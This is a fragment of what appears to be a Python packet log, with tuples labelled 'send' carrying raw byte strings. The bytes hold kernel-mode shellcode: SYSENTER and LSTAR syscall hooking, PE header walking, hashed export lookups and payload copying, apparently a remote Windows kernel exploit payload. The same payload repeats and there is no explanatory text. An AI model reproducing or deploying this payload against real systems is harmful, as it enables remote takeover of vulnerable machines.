0\\xc2I\\xeb\\xf0\\x89\\xd0^Z\\xc2\\x08\\x00XZ_^PV\\x89\\xf0\\x83\\xc6<\\x8b6\\x01\\xc61\\xc0\\x89\\xc1f\\x8bN\\x06f\\x8bF\\x14\\x01\\xc6\\x83\\xc6\\x18\\x85\\xc9t\\x1d\\x8b\\x069\\xf8u\\x07\\x8bF\\x049\\xd0t\\x06\\x83\\xc6(I\\xeb\\xe9\\x8bF\\x0c\\x8bN\\x08^\\x01\\xc6\\xc31\\xf6\\xc3`1\\xc0\\x83\\xf8\\x0ft\\x1e1\\xc9\\x8b<\\x86\\x8b\\x14\\x8e9\\xd7t\\x03Au\\xf3\\x0f\\xb6\\x94\\x03\\x87\\x03\\x00\\x009\\xd1u\\r@\\xeb\\xddA9\\xc8u\\x05a1\\xc0@\\xc3a1\\xc0\\xc3\\x00\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08\\t\\n\\t\\t\\r\\x0e\\x8bL$\\x08`\\xe8\\x00\\x00\\x00\\x00]f\\x81\\xe5\\x00\\xf0\\x89M4\\xe8\\xd9\\x01\\x00\\x00\\xe8C\\x01\\x00\\x00\\xe8\\x7f\\x01\\x00\\x00\\x85\\xc0\\x0f\\x84\\xe3\\x00\\x00\\x00\\x8b]<\\x8bK\\xd8\\xe8\\x17\\x01\\x00\\x00<#t\\r\\x01\\x00\\x00f\\xb8\\x10\\x00\\x8bM8f\\x01A\\x1e\\x8bE\\x10\\x89D$\\x1cah\\x00\\x00\\x00\\x00\\x8b@H9\\xdfu\\x0cL\\x8b\\x86\\x98\\x00\\x00\\x00M\\x85\\xc0t\\x06H\\x83\\xc6\\x08\\xeb\\xd8H\\x83\\xc6\\x08H\\x89u\\xe0H1\\xc9\\xba\\xf0\\x0f\\x00\\x00\\xffU\\xf0H\\x85\\xc0tiI\\x89\\xc1H1\\xc0\\xb9\\x00\\x04\\x00\\x00L\\x89\\xcf\\xf3\\xabL\\x89\\xcfH\\x83\\xc7`H\\x8d5\\x91\\x02\\x00\\x00H1\\xc9f\\xb96\\x02\\xf3\\xa4M\\x89\\tH\\x8b]\\xf8I\\x89Y\\x08H1\\xdfH\\x8b]\\xf0I\\x89Y\\x10H1\\xdfH\\x8b]\\xe8I\\x89Y\\x18H1\\xdfH\\x8b]\\xe0I\\x89Y H1\\xdfA\\x89yDH\\x8bE\\xe0H\\x83\\xc0pI\\x83\\xc1`L\\x89\\x08H\', 0.0)', '(\'send\', 20, b\'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x03\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x03\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xb0\\x00\\xd0\\xff\\xff\\xff\\xff\\xff\\xb0\\x00\\xd0\\xff\\xff\\xff\\xff\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xc0\\xf0\\xdf\\xff\\xc0\\xf0\\xdf\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x90\\xf1\\xdf\\xff\\x00\\x00\\x00\\x00\\xf0\\xf1\\xdf\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xf0\\x01\\xd0\\xff\\xff\\xff\\xff\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\xd0\\xff\\xff\\xff\\xff\\xff\\x001\\xc0@\\x90t\\x08\\xe8\\t\\x00\\x00\\x00\\xc2$\\x00\\xe8\\xa7\\x00\\x00\\x00\\xc3\\xe8\\x01\\x00\\x00\\x00\\xeb\\x90[\\xb9v\\x01\\x00\\x00\\x0f2\\xa3\\xfc\\xff\\xdf\\xff\\x8dC\\x171\\xd2\\x0f0\\xc3\\xb9#\\x00\\x00\\x00j0\\x0f\\xa1\\x8e\\xd9\\x8e\\xc1d\\x8b\\r@\\x00\\x00\\x00\\x8ba\\x04\\xff5\\xfc\\xff\\xdf\\xff`\\x9cj#R\\x9cj\\x02\\x83\\xc2\\x08\\x9d\\x80L$\\x01\\x02j\\x1b\\xff5\\x04\\x03\\xdf\\xffj\\x00USVWd\\x8b\\x1d\\x1c\\x00\\x00\\x00j;\\x8b\\xb3$\\x01\\x00\\x00\\xff31\\xc0H\\x89\\x03\\x8bn(j\\x01\\x83\\xecH\\x81\\xed\\x9c\\x02\\x00\\x00\\xa1\\xfc\\xff\\xdf\\xff\\xb9v\\x01\\x00\\x001\\xd2\\x0f0\\xfb\\xe8\\x11\\x00\\x00\\x00\\xfad\\x8b\\r@\\x00\\x00\\x00\\x8ba\\x04\\x83\\xec(\\x9da\\xc3\\xe9\\xef\\x00\\x00\\x00\\xb9\\x82\\x00\\x00\\xc0\\x0f2H\\xbb\\xf8\\x0f\\xd0\\xff\\xff\\xff\\xff\\xff\\x89S\\x04\\x89\\x03H\\x8d\\x05\\n\\x00\\x00\\x00H\\x89\\xc2H\\xc1\\xea \\x0f0\\xc3\\x0f\\x01\\xf8eH\\x89$%\\x10\\x00\\x00\\x00eH\\x8b$%\\xa8\\x01\\x00\\x00PSQRVWUAPAQARASATAUAVAWj+e\\xff4%\\x10\\x00\\x00\\x00ASj3QL\\x89\\xd1H\\x83\\xec\\x08UH\\x81\\xecX\\x01\\x00\\x00H\\x8d\\xac$\\x80\\x00\\x00\\x00H\\x89\\x9d\\xc0\\x00\\x00\\x00H\\x89\\xbd\\xc8\\x00\\x00\\x00H\\x89\\xb5\\xd0\\x00\\x00\\x00H\\xa1\\xf8\\x0f\\xd0\\xff\\xff\\xff\\xff\\xffH\\x89\\xc2H\\xc1\\xea H1\\xdb\\xff\\xcbH!\\xd8H1\\xc9\\xb9\\x82\\x00\\x00\\xc0\\x0f0\\xfb\\xe88\\x00\\x00\\x00\\xfaeH\\x8b$%\\xa8\\x01\\x00\\x00H\\x83\\xecxA_A^A]A\\\\A[AZAYAX]_^ZY[XeH\\x8b$%\\x10\\x00\\x00\\x00\\x0f\\x01\\xf8\\xff$%\\xf8\\x0f\\xd0\\xff1\\xc0@\\x90\\x0f\\x84\\xb5\\x05\\x00\\x00\\xe8\\x00\\x00\\x00\\x00X`\\x89\\xc3\\x89\\xe5\\x83\\xecHd\\x8b\\r8\\x00\\x00\\x00f\\x8bA\\x06\\xc1\\xe0\\x10f\\x8b\\x01f%\\x00\\xf0\\x8b\\x08f\\x81\\xf9MZt\\x07-\\x00\\x10\\x00\\x00\\xeb\\xf0\\x89E\\xfcS\\x89\\xc3\\xb9\\x94\\x01i\\xe3\\xe8>\\x01\\x00\\x00\\x89E\\xf8\\xb9\\x85T\\x83\\xf0\\xe81\\x01\\x00\\x00\\x89E\\xf4\\xb9.[Q\\xd2\\xe8$\\x01\\x00\\x00\\x89E\\xec[\\x8dU\\xe81\\xc9\\x89\\nRj\\x00Rj\\x0b\\xff\\xd0\\x8bU\\xe8\\x85\\xd2\\x0f\\x84\\x02\\x01\\x00\\x00Rj\\x00\\xffU\\xf8\\x85\\xc0\\x0f\\x84\\xf4\\x00\\x00\\x00Pj\\x00\\xffu\\xe8Pj\\x0b\\xffU\\xec\\x85\\xc0\\x0f\\x85\\xe0\\x00\\x00\\x00XP-\\xfc\\x00\\x00\\x00\\x05\\x1c\\x01\\x00\\x00P\\xe8\\x80\\x01\\x00\\x00\\xb9\\xfa<\\xad\\xc29\\xc8t\\x1e\\xb9\\x1a\\xbdK+9\\xc8t\\x15X\\x8bU\\xe8\\x81\\xea\\x1c\\x01\\x00\\x00\\x0f\\x8c\\xac\\x00\\x00\\x00\\x89U\\xe8\\xeb\\xceX\\x8bp\\xec\\xffU\\xf4\\x89\\xf0PPh.datja\\xe8\\\'\\x02\\x00\\x00\\x85\\xc0\\x0f\\x84\\x88\\x00\\x00\\x00X\\x83\\xe9@\\xe8Z\\x02\\x00\\x00\\x85\\xc0t\\x15\\x8b\\x16\\xc1\\xea\\x18\\x89\\xf0\\xc1\\xe8\\x189\\xd0u\\x07\\x8bFH\\x85\\xc0t\\n\\x83\\xc6\\x04\\x83\\xe9\\x04\\xe3^\\xeb\\xd8\\x89u\\xf0Vh\\xf8\\x0f\\x00\\x00j\\x00\\xffU\\xf8\\x85\\xc0tJP\\x89\\xc71\\xc0\\x89\\xc1f\\x81\\xc1\\x00\\x04\\xf3\\xabX\\x89\\x00\\x8bU\\x04\\x89P\\x041\\xd7\\x8bU\\xf8\\x89P\\x081\\xd7\\x8bU\\xf4\\x89P\\x0c1\\xd7\\x8bU\\xf0\\x89P\\x101\\xd7\\x89x$\\x83\\xc0H\\x89\\xc7\\x8d\\xb3\\x96\\x03\\x00\\x00\\xb9\\x1a\\x02\\x00\\x00\\xf3\\xa4[\\x89C8\\x89\\xeca\\xc3SRQWU\\x89\\xe5\\x83\\xec\\x18\\x89\\xcf\\x89\\xd8\\x89E\\xfc\\xe8z\\x00\\x00\\x00\\x85\\xc0tm\\x89E\\xf8\\xe8\\xee\\x00\\x00\\x00\\x89E\\xf4\\x8bE\\xfc\\x8bM\\xf8\\xe8\\x0e\\x01\\x00\\x00\\x85\\xc0tS\\x89E\\xf0\\x8bE\\xfc\\x8bM\\xf8\\xe8\\x04\\x01\\x00\\x00\\x85\\xc0tA\\x89E\\xec\\x8bE\\xfc\\x8bM\\xf8\\xe8\\xfa\\x00\\x00\\x00\\x85\\xc0t/\\x89E\\xe8\\x8bE\\xfc\\x89\\xf9\\x8bU\\xec\\x8b]\\xf4\\xe8\\xab\\x00\\x00\\x00\\x85\\xc0t\\x18\\x89\\xc1\\x8bE\\xe8\\xe8\\xdd\\x00\\x00\\x00f\\x89\\xc2\\x8bE\\xfc\\x8bM\\xf0\\xe8\\xd7\\x00\\x00\\x00\\x83\\xc4\\x18]_YZ[\\xc3V\\x89\\xc6\\x83\\xc6<\\x8b6\\x01\\xc6f\\x81>PEu\\t\\x83\\xc6x\\x8b6\\x01\\xf0^\\xc31\\xc0\\xeb\\xfaVQW\\x89\\xc61\\xc0\\x89\\xc7\\xc1\\xe7\\x07)\\xc7\\x89\\xf81\\xc9\\x8a\\x0e\\x80\\xf9\\x00t\\x05\\x01\\xc8F\\xeb\\xe9_Y^\\xc3VWR\\x89\\xc61\\xc0\\x89\\xc7\\xc1\\xe7\\x07)\\xc7\\x89\\xf81\\xd2\\x8a\\x16\\x01\\xd0F\\xe2\\xeeZ_^\\xc3VQW\\x89\\xc61\\xc0\\x89\\xc7\\xc1\\xe7\\x07)\\xc7\\x89\\xf81\\xc9\\x8a\\x0e\\x80\\xf9\\x00t\\xc6\\x01\\xc8FF\\xeb\\xe8_Y^\\xc3\\x83\\xc0\\x18\\x8b\\x00\\xc3WVQ1\\xff\\x89\\xc69\\xdft\\x19\\x8b\\x04\\xba\\x01\\xf0\\xe8\\x83\\xff\\xff\\xff9\\xc8t\\x07G\\xeb\\xebY^_\\xc3\\x89\\xf8\\xeb\\xf81\\xc0\\xeb\\xf4\\x83\\xc1\\x1c\\x8b\\t\\x01\\xc8\\xc3\\x83\\xc1 \\x8b\\t\\x01\\xc8\\xc3\\x83\\xc1$\\x8b\\t\\x01\\xc8\\xc3\\xd1\\xe1\\x01\\xc8f\\x8b\\x00\\xc3\\x81\\xe2\\xff\\xff\\x00\\x00\\xc1\\xe2\\x02\\x01\\xd1\\x8b\\t\\x01\\xc8\\xc3RV\\x8bt$\\x0c\\x8bL$\\x101\\xd2\\xd1\\xe9\\x85\\xc9t\\x0c\\xc1\\xc2\\x05\\xacF\\x0c 0\\xc2I\\xeb\\xf0\\x89\\xd0^Z\\xc2\\x08\\x00XZ_^PV\\x89\\xf0\\x83\\xc6<\\x8b6\\x01\\xc61\\xc0\\x89\\xc1f\\x8bN\\x06f\\x8bF\\x14\\x01\\xc6\\x83\\xc6\\x18\\x85\\xc9t\\x1d\\x8b\\x069\\xf8u\\x07\\x8bF\\x049\\xd0t\\x06\\x83\\xc6(I\\xeb\\xe9\\x8bF\\x0c\\x8bN\\x08^\\x01\\xc6\\xc31\\xf6\\xc3`1\\xc0\\x83\\xf8\\x0ft\\x1e1\\xc9\\x8b<\\x86\\x8b\\x14\\x8e9\\xd7t\\x03Au\\xf3\\x0f\\xb6\\x94\\x03\\x87\\x03\\x00\\x009\\xd1u\\r@\\xeb\\xddA9\\xc8u\\x05a1\\xc0@\\xc3a1\\xc0\\xc3\\x00\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08\\t\\n\\t\\t\\r\\x0e\\x8bL$\\x08`\\xe8\\x00\\x00\\x00\\x00]f\\x81\\xe5\\x00\\xf0\\x89M4\\xe8\\xd9\\x01\\x00\\x00\\xe8C\\x01\\x00\\x00\\xe8\\x7f\\x01\\x00\\x00\\x85\\xc0\\x0f\\x84\\xe3\\x00\\x00\\x00\\x8b]<\\x8bK\\xd8\\xe8\\x17\\x01\\x00\\x00<#t\\r\\x01\\x00\\x00f\\xb8\\x10\\x00\\x8bM8f\\x01A\\x1e\\x8bE\\x10\\x89D$\\x1cah\\x00\\x00\\x00\\x00\\x8b@H9\\xdfu\\x0cL\\x8b\\x86\\x98\\x00\\x00\\x00M\\x85\\xc0t\\x06H\\x83\\xc6\\x08\\xeb\\xd8H\\x83\\xc6\\x08H\\x89u\\xe0H1\\xc9\\xba\\xf0\\x0f\\x00\\x00\\xffU\\xf0H\\x85\\xc0tiI\\x89\\xc1H1\\xc0\\xb9\\x00\\x04\\x00\\x00L\\x89\\xcf\\xf3\\xabL\\x89\\xcfH\\x83\\xc7`H\\x8d5\\x91\\x02\\x00\\x00H1\\xc9f\\xb96\\x02\\xf3\\xa4M\\x89\\tH\\x8b]\\xf8I\\x89Y\\x08H1\\xdfH\\x8b]\\xf0I\\x89Y\\x10H1\\xdfH\\x8b]\\xe8I\\x89Y\\x18H1\\xdfH\\x8b]\\xe0I\\x89Y H1\\xdfA\\x89yDH\\x8bE\\xe0H\\x83\\xc0pI\\x83\\xc1`L\\x89\\x08H\', 0.0)', '(\'send\', 21, b\'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x03\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x03\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xb0\\x00\\xd0\\xff\\xff\\xff\\xff\\xff\\xb0\\x00\\xd0\\xff\\xff\\xff\\xff\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xc0\\xf0\\xdf\\xff\\xc0\\xf0\\xdf\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x90\\xf1\\xdf\\xff\\x00\\x00\\x00\\x00\\xf0\\xf1\\xdf\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xf0\\x01\\xd0\\xff\\xff\\xff\\xff\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\xd0\\xff\\xff\\xff\\xff\\xff\\x001\\xc0@\\x90t\\x08\\xe8\\t\\x00\\x00\\x00\\xc2$\\x00\\xe8\\xa7\\x00\\x00\\x00\\xc3\\xe8\\x01\\x00\\x00\\x00\\xeb\\x90[\\xb9v\\x01\\x00\\x00\\x0f2\\xa3\\xfc\\xff\\xdf\\xff\\x8dC\\x171\\xd2\\x0f0\\xc3\\xb9#\\x00\\x00\\x00j0\\x0f\\xa1\\x8e\\xd9\\x8e\\xc1d\\x8b\\r@\\x00\\x00\\x00\\x8ba\\x04\\xff5\\xfc\\xff\\xdf\\xff`\\x9cj#R\\x9cj\\x02\\x83\\xc2\\x08\\x9d\\x80L$\\x01\\x02j\\x1b\\xff5\\x04\\x03\\xdf\\xffj\\x00USVWd\\x8b\\x1d\\x1c\\x00\\x00\\x00j;\\x8b\\xb3$\\x01\\x00\\x00\\xff31\\xc0H\\x89\\x03\\x8bn(j\\x01\\x83\\xecH\\x81\\xed\\x9c\\x02\\x00\\x00\\xa1\\xfc\\xff\\xdf\\xff\\xb9v\\x01\\x00\\x001\\xd2\\x0f0\\xfb\\xe8\\x11\\x00\\x00\\x00\\xfad\\x8b\\r@\\x00\\x00\\x00\\x8ba\\x04\\x83\\xec(\\x9da\\xc3\\xe9\\xef\\x00\\x00\\x00\\xb9\\x82\\x00\\x00\\xc0\\x0f2H\\xbb\\xf8\\x0f\\xd0\\xff\\xff\\xff\\xff\\xff\\x89S\\x04\\x89\\x03H\\x8d\\x05\\n\\x00\\x00\\x00H\\x89\\xc2H\\xc1\\xea \\x0f0\\xc3\\x0f\\x01\\xf8eH\\x89$%\\x10\\x00\\x00\\x00eH\\x8b$%\\xa8\\x01\\x00\\x00PSQRVWUAPAQARASATAUAVAWj+e\\xff4%\\x10\\x00\\x00\\x00ASj3QL\\x89\\xd1H\\x83\\xec\\x08UH\\x81\\xecX\\x01\\x00\\x00H\\x8d\\xac$\\x80\\x00\\x00\\x00H\\x89\\x9d\\xc0\\x00\\x00\\x00H\\x89\\xbd\\xc8\\x00\\x00\\x00H\\x89\\xb5\\xd0\\x00\\x00\\x00H\\xa1\\xf8\\x0f\\xd0\\xff\\xff\\xff\\xff\\xffH\\x89\\xc2H\\xc1\\xea H1\\xdb\\xff\\xcbH!\\xd8H1\\xc9\\xb9\\x82\\x00\\x00\\xc0\\x0f0\\xfb\\xe88\\x00\\x00\\x00\\xfaeH\\x8b$%\\xa8\\x01\\x00\\x00H\\x83\\xecxA_A^A]A\\\\A[AZAYAX]_^ZY[XeH\\x8b$%\\x10\\x00\\x00\\x00\\x0f\\x01\\xf8\\xff$%\\xf8\\x0f\\xd0\\xff1\\xc0@\\x90\\x0f\\x84\\xb5\\x05\\x00\\x00\\xe8\\x00\\x00\\x00\\x00X`\\x89\\xc3\\x89\\xe5\\x83\\xecHd\\x8b\\r8\\x00\\x00\\x00f\\x8bA\\x06\\xc1\\xe0\\x10f\\x8b\\x01f%\\x00\\xf0\\x8b\\x08f\\x81\\xf9MZt\\x07-\\x00\\x10\\x00\\x00\\xeb\\xf0\\x89E\\xfcS\\x89\\xc3\\xb9\\x94\\x01i\\xe3\\xe8>\\x01\\x00\\x00\\x89E\\xf8\\xb9\\x85T\\x83\\xf0\\xe81\\x01\\x00\\x00\\x89E\\xf4\\xb9.[Q\\xd2\\xe8$\\x01\\x00\\x00\\x89E\\xec[\\x8dU\\xe81\\xc9\\x89\\nRj\\x00Rj\\x0b\\xff\\xd0\\x8bU\\xe8\\x85\\xd2\\x0f\\x84\\x02\\x01\\x00\\x00Rj\\x00\\xffU\\xf8\\x85\\xc0\\x0f\\x84\\xf4\\x00\\x00\\x00Pj\\x00\\xffu\\xe8Pj\\x0b\\xffU\\xec\\x85\\xc0\\x0f\\x85\\xe0\\x00\\x00\\x00XP-\\xfc\\x00\\x00\\x00\\x05\\x1c\\x01\\x00\\x00P\\xe8\\x80\\x01\\x00\\x00\\xb9\\xfa<\\xad\\xc29\\xc8t\\x1e\\xb9\\x1a\\xbdK+9\\xc8t\\x15X\\x8bU\\xe8\\x81\\xea\\x1c\\x01\\x00\\x00\\x0f\\x8c\\xac\\x00\\x00\\x00\\x89U\\xe8\\xeb\\xceX\\x8bp\\xec\\xffU\\xf4\\x89\\xf0PPh.datja\\xe8\\\'\\x02\\x00\\x00\\x85\\xc0\\x0f\\x84\\x88\\x00\\x00\\x00X\\x83\\xe9@\\xe8Z\\x02\\x00\\x00\\x85\\xc0t\\x15\\x8b\\x16\\xc1\\xea\\x18\\x89\\xf0\\xc1\\xe8\\x189\\xd0u\\x07\\x8bFH\\x85\\xc0t\\n\\x83\\xc6\\x04\\x83\\xe9\\x04\\xe3^\\xeb\\xd8\\x89u\\xf0Vh\\xf8\\x0f\\x00\\x00j\\x00\\xffU\\xf8\\x85\\xc0tJP\\x89\\xc71\\xc0\\x89\\xc1f\\x81\\xc1\\x00\\x04\\xf3\\xabX\\x89\\x00\\x8bU\\x04\\x89P\\x041\\xd7\\x8bU\\xf8\\x89P\\x081\\xd7\\x8bU\\xf4\\x89P\\x0c1\\xd7\\x8bU\\xf0\\x89P\\x101\\xd7\\x89x$\\x83\\xc0H\\x89\\xc7\\x8d\\xb3\\x96\\x03\\x00\\x00\\xb9\\x1a\\x02\\x00\\x00\\xf3\\xa4[\\x89C8\\x89\\xeca\\xc3SRQWU\\x89\\xe5\\x83\\xec\\x18\\x89\\xcf\\x89\\xd8\\x89E\\xfc\\xe8z\\x00\\x00\\x00\\x85\\xc0tm\\x89E\\xf8\\xe8\\xee\\x00\\x00\\x00\\x89E\\xf4\\x8bE\\xfc\\x8bM\\xf8\\xe8\\x0e\\x01\\x00\\x00\\x85\\xc0tS\\x89E\\xf0\\x8bE\\xfc\\x8bM\\xf8\\xe8\\x04\\x01\\x00\\x00\\x85\\xc0tA\\x89E\\xec\\x8bE\\xfc\\x8bM\\xf8\\xe8\\xfa\\x00\\x00\\x00\\x85\\xc0t/\\x89E\\xe8\\x8bE\\xfc\\x89\\xf9\\x8bU\\xec\\x8b]\\xf4\\xe8\\xab\\x00\\x00\\x00\\x85\\xc0t\\x18\\x89\\xc1\\x8bE\\xe8\\xe8\\xdd\\x00\\x00\\x00f\\x89\\xc2\\x8bE\\xfc\\x8bM\\xf0\\xe8\\xd7\\x00\\x00\\x00\\x83\\xc4\\x18]_YZ[\\xc3V\\x89\\xc6\\x83\\xc6<\\x8b6\\x01\\xc6f\\x81>PEu\\t\\x83\\xc6x\\x8b6\\x01\\xf0^\\xc31\\xc0\\xeb\\xfaVQW\\x89\\xc61\\xc0\\x89\\xc7\\xc1\\xe7\\x07)\\xc7\\x89\\xf81\\xc9\\x8a\\x0e\\x80\\xf9\\x00t\\x05\\x01\\xc8F\\xeb\\xe9_Y^\\xc3VWR\\x89\\xc61\\xc0\\x89\\xc7\\xc1\\xe7\\x07)\\xc7\\x89\\xf81\\xd2\\x8a\\x16\\x01\\xd0F\\xe2\\xeeZ_^\\xc3VQW\\x89\\xc61\\xc0\\x89\\xc7\\xc1\\xe7\\x07)\\xc7\\x89\\xf81\\xc9\\x8a\\x0e\\x80\\xf9\\x00t\\xc6\\x01\\xc8FF\\xeb\\xe8_Y^\\xc3\\x83\\xc0\\x18\\x8b\\x00\\xc3WVQ1\\xff\\x89\\xc69\\xdft\\x19\\x8b\\x04\\xba\\x01\\xf0\\xe8\\x83\\xff\\xff\\xff9\\xc8t\\x07G\\xeb\\xebY^_\\xc3\\x89\\xf8\\xeb\\xf81\\xc0\\xeb\\xf4\\x83\\xc1\\x1c\\x8b\\t\\x01\\xc8\\xc3\\x83\\xc1 \\x8b\\t\\x01\\xc8\\xc3\\x83\\xc1$\\x8b\\t\\x01\\xc8\\xc3\\xd1\\xe1\\x01\\xc8f\\x8b\\x00\\xc3\\x81\\xe2\\xff\\xff\\x00\\x00\\xc1\\xe2\\x02\\x01\\xd1\\x8b\\t\\x01\\xc8\\xc3RV\\x8bt$\\x0c\\x8bL$\\x101\\xd2\\xd1\\xe9\\x85\\xc9t\\x0c\\xc1\\xc2\\x05\\xacF\\x0c 